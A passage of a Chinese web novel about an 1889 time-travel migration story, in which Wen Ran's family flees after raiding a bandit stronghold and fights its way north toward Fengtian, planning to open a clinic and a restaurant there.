队伍壮大几分,一行人匆匆赶往主院,却在院门口和刚好出来的霍骁北相遇。 众人不由自主停下来,屏住呼吸瞪大眼睛上下打量着霍骁北。 没有缺胳膊少腿,面色如常似乎也没有受伤,身后背着个大麻袋,手上拿着把铁疙瘩疑似在把玩。 这种种情况无一不在反应一个让人不敢置信的事实—— 不是? 那么大那么一个凶残的土匪头子你就解决了? 还解决得这么轻松? 众人恍恍惚惚。 是这世道变了,还是他们在做梦呢? 被众多道目光探究的霍骁北却只注意到了其中一道,想到自己做了什么他浑身僵住,强撑着紧张无措和温苒对视。 温苒垂在身侧的手不自觉地捏紧,胸脯剧烈起伏着,咬牙切齿瞪着霍骁北那张可恶的脸,眼圈渐渐泛红。 几息之后,她倏然转身,却还未迈出一步就被拦腰抱起来。 霍骁北抱住媳妇儿就往院里进,踢开扔到地上的东西,丢下一句:“里面的东西自己分。” 余下众人面面相觑。 温一茂挠头,“大哥,小妹不会给妹夫揍个够呛吧?” 温一荣嘴角抽了抽,“这不是你该操心的事,先看看妹夫带出来的东西吧。” 听到兄弟俩的对话,大厨儿子眼珠子都瞪出来了。 霍壮士可是连枪子都能躲开的神人,先头的枪响他们可听得真真儿的! 霍壮士还不费吹灰之力就杀了凶悍的土匪头子沙麻金,他能让温家小妹那小体格给咋样不成? 温一荣上前撑开麻袋口,看到里面的东西神情顿了顿,而后面色迅速恢复如常,招呼大家上前。 “都过来分一分,回头逃难路上这些就是路费了。” 众人走近,一个个再次瞪大了眼睛。 “这这这些我们父子不能要,我们没做什么,都是听壮士们的才……” 周凯到底是进过衙门走过镖见过大世面的人,很会说话:“叔你这话说哪儿去了?是把咱当外人了!要不是因为您咱能平安进来这土匪窝?要不是因为您咱们 能有机会给菜里下药?要不是因为您咱能知道沙麻金还有枪?还有刚才您父子拿着刀,那神勇的架势砍土匪就和砍瓜切菜一样!” 父子两个搓着手,被夸得叫个手足无措。 虽、虽说确实如此,可这么多财宝总觉得拿了会不踏实。 温一茂就实在了,二话不说抓起小黄鱼和金叶子就往父子二人手里塞,“拿着吧!不然待会儿我妹子发火我可拦不住!” 他也没忘后头不敢上前的三个女人,“你们也过来拿一把,下了山就赶紧逃,别往家去。” 院里头,一墙之隔,温苒听到这话又开始迷惑了。 她二哥这到底是傻还是不傻啊? 抬头瞥到半截下巴,温苒注意力回到眼前,顿时气不打一出来。 她才是傻子! 温苒气冲冲道:“我们分手!” 第39章 第39章1889从闯关东开始9…… 霍骁北:“……” 霍骁北嘴里泛苦,心里也泛苦。 霍骁北薄唇抿成一条直线,仗着脸皮厚开始耍赖,“我一定知错就改。” 温苒不说话,就那么眼睛通红地看着他。 霍骁北用力将人抱紧,好半晌才哑着嗓音开口:“我知道你担心我,我也担心你。” 温苒当然知道,但这不是他丢下自己的理由。 “莫非以后遇到困难和麻烦你都要丢开我,自己一个人去解决?” 霍骁北很想应声说个‘是’,可他又无比清楚,他但凡表现出一丁点这个态度来,就是温苒要抛弃他了。 他相当麻溜地否认:“不是。这次是个例外,我想摸清楚技能的水平,又知道你不会同意,只能临时先斩后奏,以后尽量不会这么做。” 话落静下几息,霍骁北就感觉怀里的人动了动,狠狠踹在他的小腿上。 温苒还是气不过,抓起来他手腕就咬下去。 听听他说的什么话? 尽量不会?这分明就是双重否定! 认错都这么毫无诚意! 霍骁北由着她下嘴,但不免担心一句:“当心牙。” 刚被另一个臭男人把牙崩酸的温苒:“……” 行! 你们厉害! 温苒气呼呼松开霍骁北,没给他弹性认错的机会,态度强硬不容拒绝道:“没有下次!不然以后我也这么做!” 霍骁北:“……” 霍骁北只好连忙道:“绝对不会再这么做。” 温苒的脸色这才好上不少。 霍骁北瞅着这茬不好再提,赶忙转移话题,沉声道:“沙麻金的卧室里有个地窖,里面藏着他抢来的财宝,我都收了起来,从里面拿出来一部分分给大家。” 说到正事,温苒严肃起来,“也好,有了钱大家心里就有了底。” 只是这样一来,土匪们死的死晕的晕没办法下山作恶,官府总会得到消息。 到时派人上来一看人都死了小金库也啥都没剩下,不用想就知道官府肯定会把相关人员都抓起来拷问。 土匪怎么死的不要紧,关键是土匪那些财宝去哪儿了? 所以温苒她们得尽快走,大厨一家也不能留,毕竟镇上都知道大厨被抓了进来,他绝不能活着回去。 逃! 此事宜早不宜迟,温苒和霍骁北出去,当即把前因后果说给大家。 大厨儿子脸色煞白,看向了他爹。 大厨如今对温苒一伙人信服得不行,答案都摆在了跟前他不能选错,于是马上说道:“我们也走!不知道能不能跟各位壮士一起,咱们路上好做个伴儿?” 边上三个女人对视一眼,领头的颤着声问道:“我、我们能否也同诸位壮士一程?” 温苒没有拒绝,反而爽快道:“当然!我们计划去关外。” 下山前,一行人包括新加入的三个人,一人一把刀,把土匪窝里喝汤晕倒的土匪都给送上了西天。 三个女人虽然没什么力气,但抹起脖子的狠劲儿一点不输大厨父子。 确认没有漏网之鱼,连看门的两个土匪都上了路,最后丢下一把火放烟,众人就下了山。 匆匆行至山脚,温苒安排接下来的事情,“大哥二哥小弟,你们拿上刀回村,把情况告诉宋叔听他指挥,不论发生什么情况务必带家里人出来,咱们在镇外的土地庙汇合。” “林叔你不好出现在镇里,让林大哥回家办事。” 下山路上众人交换了姓名,大厨姓林叫林长福,大厨儿子叫林粟。 三个被掳上山的女人有一个本地的叫钱小菊,另外两个分别叫周三娘和孙香梅,其中周三娘年纪最大性子也瞧着最沉稳。 霍骁北温苒让他和林粟一起进城,去取放在周凯家里的骡车,另外再从包裹里拿出点东西添进去。 霍骁北静静看着温苒,温苒淡定回望,“我和林叔还有三娘她们在土地庙外等你们,快去快回。” 你自己还不是什么也没说就去和沙麻金单打独斗? 她刚才没抓着计较可不代表事情已经过去了,她现在做的,这叫以其人之道还治其人之身! 霍骁北无奈,“让周凯留下,夜里郊外不安全。” 这几个老的老弱的弱,刚才还在山上拼杀了一阵,拿刀的手都抖了,碰到心怀不轨的一点胜算都没有。 温一荣也不放心,不等温苒说什么,他顺着霍骁北的话留下了周凯。 他看得出来小妹和妹夫闹别扭呢。 安排完事情,一行人兵分三路。 林粟和霍骁北去了镇上。 林粟回家和老娘妻儿说明情况,一家人大喜之余连夜收拾细软,套上家里的驴车直奔郊外土地庙。 霍骁北来到周凯家里,上午时候宋守言就诓骗温老汉和二房两口子回了村子,现在这里一个人也没有。 他先是清点了一番物资,拿出了最要紧的,又取出一桶粥和一锅包子当作明天的饭食。 郊外土地庙。 说是土地庙其实只是个小小的箱龛,里面供奉着土地公的石像,位置就在道路一旁。 几个人肯定不能大大咧咧蹲在旁边,就在附近找了个小土坡,暂时躲在后面休息。 温苒左边是周三娘三个,右边是周凯和大厨林长福,个个都安静地闭目思考或养身。 就温苒精力旺盛,撑着个大麻袋掏来掏去。 掏出一板巧克力,戳醒大家分一分。 掏出一盒小蛋糕,戳醒大家分一分。 掏出一保温杯的姜糖水,戳醒大家分一分。 大家本来都困着,但这么吃吃喝喝一顿后没了睡意,好奇地盯着温苒,看看她还能掏出什么东西? 这不,吃饱喝足,温苒盘算着该睡觉了,掏出了两张大毛毯。 周凯:“???” 咱装备麻袋里还有这些东西?不是只有大刀铁棍吗? 这时节才刚出正月不久,去镇上走一圈少不得还能碰见挂红灯笼贴春联的,到了夜里寒风凛冽刺骨。 温苒几个套着大棉袄二棉裤都尚且顶不住,更别说三个衣不蔽体的小娘子们了。 林长福和周凯分一条毛毯,这毛毯厚实挡风,裹上后浑身上下很快暖和过来。 他其实还有点没吃饱,感叹道:“早知道那会儿咱们先弄了饭菜搓一顿再说。” 温苒伸长手臂给最边上的钱小菊掖了掖毛毯,点头道:“第一次干这种事考虑得不稳妥,以后就有经验了。” 林长福噎了噎,这咋还以后,一次都给他们吓跑了再来几次还了得? 周凯年纪还小,时而沉稳时而跳脱,今晚的经历对他来说刺激新奇又过瘾,但要说再来一次从心底来说还是算了。 他仰头望着满天闪烁的星子,语气疲惫:“姐,咱们还是安生过日子吧,我怕再来一次我舅受不了。” 温苒摇了摇脑袋,“麻烦不是咱们说没有就没有的,时下各地都不太安分,天灾频发,土匪流寇四处作乱,还有洋人侵犯,你想要安生日子除非躲进深山老林里去。” 这话听得在场人瞬间坐直,将目光投向侃侃而谈的温苒。 林长福和周凯眼里是震惊。 周凯惊得音调都飘了,“姐你、你都没出过咱镇子,这些连我舅都不定晓得,你咋知道的?”还这么笃定? 周三娘三个则是钦佩折服,眼神里闪着光。 她们在山上就看出来了,这群人里做主的是温苒,温苒也不是她们以为的小壮士,而是跟她们一样同为女子,却能叫所有人都听她的安排。 温苒沉稳机智,待人和善,知道她们三个被土匪糟蹋过也没有瞧不起她们,反而给她们分金银带她们去关外还和她们裹同一张毛毯。 温苒是个好人。 被发好人卡的温苒骄傲地抬起下巴,“就是知道!” 哼!不会撒谎就不撒,有什么难的? 周凯:“……” 周凯木着脸,“那你说哪里都不安全,咱们到了关卡岂不是跟现在一样?” 这孩子脑子有点不好使啊,温苒奇怪地瞥他一眼,“还是不一样的。咱们在这边没钱没田饭都吃不饱,到了关外朝廷给分田,咱们手上也有钱盖房置地,至少吃饱饭不成问题。” 至于北三省大地上数量巨众的马贼土匪,遇上的概率还是不小的,可也是没办法的事。 照温苒的想法,她们去上海其实最好不过。 上海虽然租界林立,但建设得很不错,大都市生活水平高,消息灵通,而且还有直达美国的海上航线。 唉,就是老头儿说什么也不肯。 不过霍骁北说得也对,她们有十年时间,可以好好做个计划。 林庄村儿里。 今儿一早土匪来放过话后,一整天直到夜里温家四周都有人出没。 面对村里的严防死守,温家一家人又是愤恨不平,又是心灰意冷。 傍晚吃过饭后,温老汉就坐在堂屋里等人。 宋守言告诉他,几个孩子忙活去关外的事儿了,晚上回来看他,看完他们就走。 温老汉等了一刻又一刻,等到月上中天了人还没到,他心里不免浮上担忧。 别是出什么事儿了吧? 温家三房陪着老爷子一起等,见此开始慌了。 二伯娘杜月娘看向大嫂张玉香,“是不是碰到村里人叫他们抓住了?” 张玉香安慰她,“弟妹别自己吓自己,要是抓了能没点动静?” 陈六娘也道:“真叫逮住了,兴许会扭送过来。” 话糙理不糙,杜月娘心安了不少。 宋守言抽着旱烟不说话,只是望着门口的神情渐渐变得沉重。 也不知道几个孩子咋样了? 温老汉瞅瞅门口,又瞅瞅宋守言,老觉得哪里不对劲的样子,但让他说他又说不上来。 算了,接着等吧。 深夜,约莫两点多钟,温家人等得昏昏欲睡时,一阵喧哗声闯进来。 一屋子人惊醒,蹭地坐直站起来。 宋守言反应最大,三步并两步冲出堂屋冲出院子。 他心跳如擂鼓,祈祷着可千万要是孩子们回来了! 温家人纷纷快步跟上去,到了外头看到那场面却是一惊。 第40章 第40章1889从闯关东开始1…… 温一荣温一茂通身煞气,一手持刀,一手攥着几个混混的后衣领,狠狠往拦住他们的村邻跟前一扔。 温一茂大喝一声:“我看谁敢拦我们!” 众人缩着脖子,惊恐地往后退。 这兄弟俩一身的吓人气势,两把大刀冒着寒光,着实叫他们两股战战脖颈发凉。 宋守言瞧见两人相安无事,提起来的心稍放。 他沉着脸转向这帮村邻,阴阳怪气:“从来不晓得诸位这么热心,大半夜的还在我们两家附近晃荡,现在连孩子们回趟家也要拦着,竟是管得比官府还宽了?” 大家怕了手里有刀的两兄弟,可不会怕孑然一身的宋守言,哪怕他是个童生。 听到他的话,当即有人不客气地回怼:“他们回不回家我们管不着,但他们不能跑!” 村民三言两语地附和:“就是!那山上的土匪可说了,他们大当家放话不能让温家人逃跑,不然就要我们全村人的命!你宋童生好的和温家人穿一条裤子你不怕死,我们上有老下有小,凭啥给他温家一个赔钱货当垫背的?” 闻言温家众人面上一片惨淡。 村邻这话虽残忍,但无可指摘。生死关头,便是血肉至亲都可能会互相舍弃,他们有什么资格要求人家为他们承担后果? 世道如此,人不为己天诛地灭。 宋守言冷笑,“就凭温家这桩祸事时你们族里这些人引来的!” 村民霎时安静下来,露出或茫然或震惊或心虚的神情。 宋守言将这些人的反应收入眼底,嘴角嘲讽的笑意更深,“你们说凭什么?你们贪生怕死你们怕土匪来劫掠咱们村子,就打上我侄女的主意,想把她献给土匪保你们平安!” 这话一出,不止温家人震惊了,就连匆匆赶来的村长和族老们也震惊了。 村长厉声呵斥:“宋守言你胡说八道!我知你因为旧事一直对族人心有芥蒂,但你无论如何不能口出恶言污蔑族里人!败坏我宋氏一族的名声!” 宋守言听见这话,抻头就对着这道貌岸然的老东西呸了口唾沫星子,“你才放屁!放你祖宗的屁!” 村长抖着手指他,气得脸红脖子粗,“你你你……枉你还是读书人如此粗俗!” 宋守言指着地上的无赖,快速道:“自打土匪进镇的消息传过来,我侄女再没露过面,若非村里人告状,那土匪是如何知晓的?” 村长张嘴就要反驳,宋守言立马给他堵回去,“非要说还是你家的嫌疑最大!你家孙女貌美如花识文断字贤惠持家的名声可是传到县城去了,土匪不去找你家麻烦反而来找我们家麻烦,你还说不是你做的?” 被空口白牙砸了这么一顶黑锅,村长翻着白眼几乎要厥过去。 跟来的族老往这边一看村长不顶事,那边一看地上的无赖们在装死,不得不出面道:“守言,如若你讲的为真,终究是咱们宋氏欠了他们温家的,我向你保证族里不会放过这样品行败坏的人。” “只是,”他话锋一转,却又道:“放温家走暂时不可,宋氏一族上下数百人……” 温一荣突然打断他的话,“我们回来的路上经过梅岭山,看到山上起了烟。” 族老一怔,“什么?” 宋守言故作思索片刻,猜测道:“难道是官府派人在山上剿匪?” 他提议:“最好派人去瞧一瞧,万一发生了什么也好尽快想个对策。” 回过神来的村长忙道:“对对,赶紧去山上看看情况。” 村里十几个青壮结伴离开,奔向了梅岭山。 宋氏族人焦急地在原地等待回信。 温家众人进屋,温一荣快速把今晚的行动和宋守言交代一番,两人没让旁人听到。 宋守言高兴到顾不得震惊,转头跟大家说:“赶紧收拾细软,等山上有了信儿咱立马就走!” 各房东西是早就收拾好的,听见这话纷纷回屋扛上就走。 外头等信儿的村民看到温家这阵仗,脸色一变,不约而同地围上来。 温家一众不甘示弱,温一荣温一茂两兄弟横刀在前,护着身后家人。 两把寒光湛湛的大刀威慑力十足。 温家人进,村民便只能退。 沉默的村长和族老不得不开口,“守言,温家老弟,咱们放下刀好好谈谈。” 温家人和宋守言没一个搭理这句话。 哦,开始你们人多占上风你们屁都不放一个,现在你们人多也不顶用你开始拉偏架了,呸!不要脸的狗东西! 温一荣开路,温一茂断后,两人护着家人走出了温家的院子,走出一条、两条街。 温一茂砍走一个拿锄头锛过来的汉子,把锄刃都给削掉半截儿。 温一荣砍走一伙儿预备夺刀的村民,面对惨叫和白骨可见的伤口面色丝毫不变。 曾经他们是村邻,如今他们是你死我活的敌人。 快到村口时,去山上查看情况的青壮们回来了。 “村长!山上的土匪都被杀了!尸体也被烧了!” 众人大惊失色,无意再关心温家如何,纷纷拽着那些人七嘴八舌地询问。 “什么?!” “真的都死了?” “是官府来这边剿匪吗?” 没有阻拦,温家一行毫不留恋地狂奔上路,远远将村子甩在身后。 郊外土地庙,大家被温苒那些话说的心里发慌,明明困得哈欠连天,闭上眼睛却毫无睡意。 他们就想平平安安的过日子怎么就这么难呢? 哒哒哒的蹄子声打破纷乱的思绪,林长福蹭地坐直,迷瞪着眼爬起来往路边走,“我儿子他们来了!” 温苒跟着起来,视线越过土坡往路边一扫,瞥见了驴车后头的骡车,“霍骁北也来了!” 她欣喜地跑过去,周凯和周三娘三个忙跟上。 霍骁北将温苒接住放在车上,“我带了粥和包子。” 温苒杏眼亮了亮,她虽然吃了点可还是饿。 擦干净脸和手,温苒招呼周凯她们和林大厨一家一起过来吃。 今天不管在家的还是去山上的都没咋好好吃饭,涮了涮手抱着大肉包子就一顿啃。 肉包子馅儿大又香,面是上好的白面,面皮薄的地方被浸得油汪汪的,数着这种包子最好吃了。 这年头能吃饱就不容易,吃得像这样好的,便是大厨林长福家也不多见。 周凯一口气干了三个,被噎得直抻脖子,赶忙端起小米粥咕咚咕咚咽下去。 众人埋头啃着包子,一时只有吞咽声,唯恐说句话就耽搁了肉包子进嘴的功夫。 一伙人还没吃完,温家一大家子和宋守言就到了。 闻着浓郁的肉香,温一茂丢下刀就奔着骡车上的肉包子去了,一手一个往嘴里塞。 二伯娘杜月娘哐哐两巴掌拍过去,怒道:“瞅你这个猴急样儿!先给我擦擦手再吃,你看你给浮头这些包子留的泥手印?” 温苒抱着包子站起来,“爷爷咱们先吃饭,吃完饭马上走,有什么事路上再说。” 温老汉脸色疲惫地点了点头,要说这帮不省心的孩子做了什么他路上其实有猜测,但又不敢肯定。 ——他家这几个孩子干翻了土匪窝。 这谁能肯定? 这谁敢相信啊? 大家吃着,霍骁北去整理行李。 骡车是签到给的,分为上下两层,拉开木板下面的空间可以放行李,上面空出来坐人。 吃饱喝足也该动身了。 温苒看了眼系统面板,现在是凌晨将近四点钟。 她站到人群前头安排:“爷爷,宋叔,你俩负责赶骡车。” “娘,你和大伯娘二伯娘带三娘和小菊坐骡车,我和香梅去林叔家的驴车坐。” 至于其他人就只能腿着了。 大家都没有异议,当务之急是赶紧跑路,女人们脚程慢就坐车,男人们脚程快就走路。 坐上车,温苒最后吩咐:“小弟你走过镖,识得路,怎么走你跟大家讲!” 就这样周凯负责带路,驴车在前骡车在后,扬鞭一挥,一行人就出发了! 温苒切身体会到了驴车在乡间土路上风驰电掣地狂奔是什么感受? 那那那简直直直比过山车还刺刺刺激! 朝阳初升时,据周凯说她们已经走出小镇。 正午时,离开了林庄儿村所在的县。 三天后,离开大化府,进入了安定府。 日夜兼程下,每个人都憔悴埋汰得不得了。 温苒坐了半天驴车就说什么也不坐了,下地走路也不坐。 倒是骡车不愧是系统出品,骡子是好骡子体力充沛脚程也快,后面的车更是结实又防震。 驴车就不咋行,这几天下来驴瞅着比人还蔫儿。 温苒寻思也不能把牲口累死了,就告诉大家在安定府休整两天。 洗澡洗头,补给资源,再好好搓它个几顿,养足精神再出发。 这时候一家人才有功夫追问到底发生了什么,难道土匪真的都死了吗? 温苒点头,“我们混进土匪窝,和林叔接头后就给土匪们的饭菜里下了药,最后趁他们中药昏迷,轻而易举就把他们的性命取了,还拿了他们的财宝。” 好好一件惊心动魄的大事让她讲得平平无奇。 听到这话,共同参与的队友们看看温苒,再看看霍骁北,欲言又止止言又欲,很想说是不是漏了重要东西没讲? 少年人干了大事一点儿憋不住,周凯见状上前,给大家表演了一场手舞足蹈精彩绝伦的单口说书。 什么‘六壮士大义凛然入匪窝’‘机智三姐怒斩狗官再斩悍匪’‘大厨菜刀削狗命’‘一茂双刀战数匪’‘骁勇姐夫独战匪首’…… 温苒听得脸都木了。 霍骁北嘴角也抽了抽。 其他听众却心潮澎湃激动不已,被点名的更是纷纷骄傲挺胸。 当然最后的最后,除了喝彩,温一荣温一茂和周凯三兄弟还获得了来自爹娘/舅舅的鞋拔子炒肉奖励。 温老汉背着手原地一通转,“给我狠狠打!” 他指霍骁北,“你小子也该打!以为自个儿多能耐,还带小苒进土匪窝,你们是真不怕出事儿啊?” 剿匪小队其他人:“……” 就算说了温苒才是那个领头的,这老头儿恐怕也不会信吧? 打完孩子该继续上路了。 周凯曾经走镖的目的地就是安定府,再往北他只听说师傅们说起过,具体情况并不清楚。 好在她们有外挂,霍骁北假装花大钱弄来张地图,召集众人商量接下来走哪条路。 闯关东大致有两条路线,泛海和闯关。 前者是临海的东山省老百姓的办法,后者是直隶山西等地老百姓的办法。 若是往后倒腾个十来年,走陆路还能乘火车,再往后倒腾几年闯关东的火车票甚至能半价。 但现在是没那么好的条件了,她们只能用腿脚一步步丈量这一千多里地。 离开安定府,一行人速度慢下来,不再像先前那样好似赶着去投胎一般。 因为骡车防震,把行李往驴车上挪了一部分,现在除了前头留两个人赶车,想歇脚的话都去后头骡车坐着。 世道乱象已显,刚出安定府没多远,他们就遇上一伙劫道大汉。【你现在阅读的是 】 40-50 第41章 第41章1889从闯关东开始1…… 对方十来条大汉,举着镰刀锄头,看着牲口车子和年轻女人们眼冒凶光满脸贪婪。 乖乖!这可是头大肥羊! 然而温苒这边用实际行动告诉这帮劫匪,遇到她们算是踢到铁板了。 都不用霍骁北出面,大哥二哥小弟加上被硬推上去的林粟四个人挥着大刀就把他们制服了。 温一荣遥遥看向温苒,“小妹你说这些人该咋办?” 温一茂粗声粗气嘟囔着:“总不能都杀了吧?” 他们几个虽说个个手上有人命,但那不都是被逼无奈么? 这话一出,被制住的劫匪们脸色煞白,抖着腿开始求饶。 “壮士饶命!是小的有眼不识泰山,求求您高抬贵手放过我们吧!” “小的是附近村子的老百姓,上有老下有小,实在过不下去了就想混口饭吃才选择在这里劫道的!小的发誓这是第一次!” 刚才还气势嚣张的劫匪们,转眼就开始嚎哭卖惨,一个个声音凄厉,听起来还真挺可怜的。 众人忍不住望向了温苒,宋守言也道:“孩子你说该咋办?” 虽才短短几日,但温苒俨然成了这一行逃难队伍的主心骨,其次就是霍骁北和宋守言。 温苒上前靠近了些,狐疑地扫过一排劫匪,抬手指了四个人,“这几个撒谎,他们都杀过人,衣服上有大片血迹,带着血腥味儿。” 别想瞒过她神医的鼻子! 被指到的四个人面色一变,其中一个脱口大骂:“臭(娘们)噗——” 话还没说完,这人就吐着血倒飞出去。 霍骁北面无表情地回到温苒身旁站定。 他淡定的样子让众人不禁恍惚,刚才是这人一脚就踢飞对方的吧?他怎么跟没事儿 人似的? 周凯见状,二话不说举起刀了解了出言不逊的劫匪。 鲜红的血液流了一地,劫匪们一个个吓得甚至晕过去几个,没晕的当场失禁,尿骚儿味混杂着血腥气无一不是在挑战着大家的神经。 车子旁边众人愣了愣,回过神来就在心里自己说服自己,杀个劫匪而已,要不是他们有刀有好手,现下就该自己落到这个下场了。 沉默中,温苒的爹娘温向安和陈六娘忽然异口同声:“我们也来!” 夫妻两个顿了顿,转头就和对方你来我往地抢夺起来。 温向安拦陈六娘,“媳妇儿我来!我好歹是个汉子!” 陈六娘推他一把,“你起来你杀只鸡都打颤!” 温向安气势弱下来,“……我那不是怕鸡叨我吗?” 陈六娘翻个白眼,跳下车顺走一把大刀,拎着就到了劫匪们跟前,眼神在一排面孔上划过,其中的意味跟挑大白菜似的。 妯娌俩一看这不行,六娘还说老三不敢杀鸡她自个都不敢吃知了猴儿呢,俩人对视一眼,抄上大刀就跟了过去。 张玉香:“我是大嫂,我先来吧!” 杜月娘:“那行,你先打个样儿,我是二嫂我排你后面,六娘你最后。” 后头林长福媳妇儿段枣花儿比妯娌仨大不了几岁,一看心说她也不能怂,把小孙女交给儿媳妇她蹭蹭蹭冲过去,“我也来!” 幽幽转醒的劫匪们刚睁开眼,就听到四个老娘们儿争先恐后地要砍他们。 天老爷哎!这都是一帮什么牲口?这些人才是劫匪吧? 于是白眼一翻,晕得人更多了。 得亏他们晕得早,不然后头还能看到几个大汉不服输地围上来加入战局。 场面一时有些混乱,温苒竟不晓得一向老实的温家人竟然杀性这么大?几个人头都不够她们分的! 她连忙上去阻拦,“爷爷宋叔大伯大伯娘二伯二伯娘还有爹娘你们都冷静!林叔林婶儿你也冷静!” 冷静是不可能冷静的,一伙儿围一块叽里哇啦地争辩着,温苒瞧着她二伯娘和宋叔争得脸红脖子粗的。 温苒:“……” 温苒深呼吸,拔高声音:“听我的!按年纪大小来!都别着急!以后路上这样的事情多着呢!” 听到这话温老汉咧嘴一笑,上前抹了一个劫匪的脖子。 按照年纪往下依次是大伯娘张玉香和大伯温向生。 手里有人命的劫匪把人命都留了下来,其他人温苒发话都给放了。 王朝末年,乱世加上年景不好,老百姓不是不得已不会铤而走险。 说实话要不是周凯起这个头,她爹娘紧跟着较劲儿,温苒会揍一顿卸两条胳膊就算了。 希望经此挫折,活下来的人不会再干劫路的勾当了。 如温苒先前所言,这一路北上遇到的村民劫路和流民抢劫数不胜数,除了两个孩子其他人或主动或被动的手上都不再干净。 尤其前两天刚经历的流民聚众抢劫的风波中,饿疯的流民几乎是见东西就抢见人就砍整个都杀红了眼。 便是温苒这边人人有刀,也人人都下得去手,在众多流民的围攻下,也不得不选择抛弃驴车仓皇逃亡。 饶是如此,温苒大伯和大哥也受了不轻的伤。 傍晚,一行人在河边落脚。 这里再往前过一个镇就是山海关,距海很近。 越靠近山海关,流民数量就越多。 为了保证安全,但凡遇上数量多的流民聚众,她们就上车加速离开,值夜的人手也增加了一倍。 半个多月下来每个人的精神都异常疲惫。 温苒没什么胃口,喝了碗鱼汤就停下筷子,神色格外憔悴。 现在队伍里大事小事都要她来决定,她每日空闲了还要学习医术,路上遇到零星流民会停下来给他们把脉当作实践。 就这样白天忙,到了夜里也睡不安稳,还吃不下东西,整个人都瘦了一圈。 霍骁北在一旁看着也着急,把事情都接过去不说,还限制温苒每天看书的时间,任是风餐露宿这样简陋的条件下他也每天给温苒整出热汤热饭来。 其余人看在眼里,便是温向安和陈六娘这对温苒的亲爹娘也几乎是挑不出错。 喝完汤温苒舀了热水洗漱,就钻进帐篷休息去了。 霍骁北让大哥温一荣帮他值夜,他进来给温苒开小灶。 温苒一把串一杯可乐顿时就感觉活过来了。 可想到现在的情况,她又开始垂头丧气,“从冀南到奉天还没走完就这么难了,我们还要出国,到时候大海茫茫出点意外可怎么办?” 可真不是温苒杞人忧天,美国早就于1882年通过排华法案,不再允许华人劳工入境,此后欧洲其他国家纷纷效仿。 欧美列强政府带头排华,民间反华浪潮四起,大规模屠华事件层出不穷,华人华工在欧洲在美国在澳洲甚至在南洋都处在社会的最底层,虽无奴隶之名却有奴隶之实①。 其中美国作为排华法案的源头,国内的反华暴行最为激烈。 虽然温苒计划的最终目的地是美国,但第一站她更倾向于英国。 但问题是去英国的航线必会经过南洋几个国家,就不说这一路可能遇到的海盗,万一在南洋被卸下船那可真是完犊子。 这么一想,温苒真是连香喷喷的烤串都吃不下了。 不是她说,外面再好也不如家里好,就算现在欧美那边再发达,那也不如待在自己的国家让人安心。 怕她们干扰历史事件,那她们找个山坳子自己过自己日子不就行了? 霍骁北帮她擦了擦嘴角,见她还没吃几口又停了,问道:“怎么了?” 温苒把自己担心的说出来,然后眼巴巴看着他。 霍骁北:“……” 他要有办法肯定早就讲了,但华人华裔在欧美遭受排挤和歧视的情况再过百十多年也依然存在,他对此也没有特别好的办法。 不过他得说点什么,否则这姑娘连饭都吃不下。 “收养白人儿童呢?” 听到这话温苒沉默下来,主意是个好主意,就是比现在去美国还要难。 哪个白人国家会同意让华人夫妻收养白人儿童啊? 霍骁北也只是随口一说,这个不行他换另一个:“以商人的身份入境呢?” 温苒摇头叹气,“很难,就连清朝外派的政府官员都曾经被反华群体杀害过。” 而且商人有钱,妥妥的大肥羊,进了人家的地盘下场就只有挨宰。 霍骁北皱起眉,“既然如此,澳洲比美国更合适,那里人少,到时买下一座小岛去岛上生活。” 温苒眼睛亮起来,她怎么就没想到呢? 但是,“买一座岛要很多钱吧?” 霍骁北沉默,虽然掏了土匪老窝,但买一座岛的钱恐怕是拿不出来的。 温苒又道:“到了奉天,我们还得老老实实过日子,跟大家一起种地。” 霍骁北懂媳妇儿的意思,种地才几个钱,买岛更是无望。 行,这条路也堵死了。 不过买岛总归是个说不上办法的办法,温苒宽了心,豪吃一大顿后安心睡下了。 第二天天蒙蒙亮时,宋守言找过来,霍骁北钻出帐篷,跟他到一旁说话。 宋守言抄着两手神情困倦,俨然一副没睡醒的样子,“咱们今儿休息一天,这阵子大家都累着了,尤其你们几个大小伙子白天追着车子跑到了晚上还得值夜,这么熬着也不是个事。” 原地休息两天,一行人出关,踏上了前往奉天的最后一段路。 “咱就在奉天落脚了?”温老汉问:“为啥不去吉林,那边放垦的荒地多。” 温苒退回来跟着车子一起走,“奉天是大城市,我想开个医馆,人多一点好。” 听说她要开医馆,车上车下的人齐刷刷把目光转过来。 陈六娘拉着闺女的手,“那娘给你种草药,你多教教娘。” 温向安不甘落后,“爹也种!” 温苒笑盈盈,“谢谢爹娘,爹娘对我真好。” 她对众人道:“ 我和三娘她们说好了,到时候她们三个来医馆里帮忙。” 大家听着点了点头,确实,女子无法立户,分田也轮不到她们,在医馆里做工是个不错的去处。 宋守言坐在车头,盘起腿说道:“医馆里也不能只有你们几个姑娘,让周凯也过去帮忙,他拳脚不错能写字能记账也有几分机灵劲儿,碰到麻烦就让他出面。” 周凯期待地看着他三姐。 温苒点头,“我本来也是这个意思,霍骁北打算开个饭馆,我们医馆他就帮不上忙了。” 众人闻言又是一惊。 林大厨父子激动地搓手,林长福直接问:“骁北兄弟,你看我成不成?” 温老汉奇怪道:“林老弟你父子俩都有手艺,咋不自个儿弄个摊儿?” 林长福苦笑,“不瞒老哥你说,我确实有过这个想法,但我跟我儿子都不是胆子大的,我这手艺把摊子支起来是不难,可回头有人来闹事我指定是办不成的。” 宋守言招手让温一荣温一茂过来,“骁北你打算开多大的饭馆?你林叔带他儿子厨子这是有俩,再加跑堂一个账房一个应该就足够了,你俩大舅哥能干。你就辛苦点,医馆饭馆两头都顾着点。” 霍骁北原本也是要请这两兄弟的,他们最后终究要去国外,这几年他打算给这兄弟俩还有周凯好好练练。 温一荣温一茂紧张地望着这便宜妹婿,能进城谁不想进城啊? 他们俩才十几岁,这一路自诩也见过世面了,连北京城都险些进去转一圈,心思早就不在种地上了。 霍骁北点头,“麻烦大哥二哥了。” 温一茂摸着后脑勺傻笑,就是更沉稳的温一荣也不忍住咧出笑来,摆着手说:“是我们麻烦你才对。” 大人们看着这样一群孩子,也忍不住欣慰地笑了。 温老汉笑着笑着用力一拍大腿,“这时节咱们有了田也种不了多少粮食,刚好划块地出来种些菜供给饭馆,也省了花钱买。” 接下来一路大家都在围绕着医馆饭馆两个话题讨论,眼看着日子要越过越好,每个人脸上都洋溢着喜悦。 出关进入奉天省后,荒野广袤无际,远望无村居,人烟久行不闻。 奉天还是最先放禁招垦的地区,可想而知现如今的吉林和黑龙江恐怕是真正的人烟罕至。 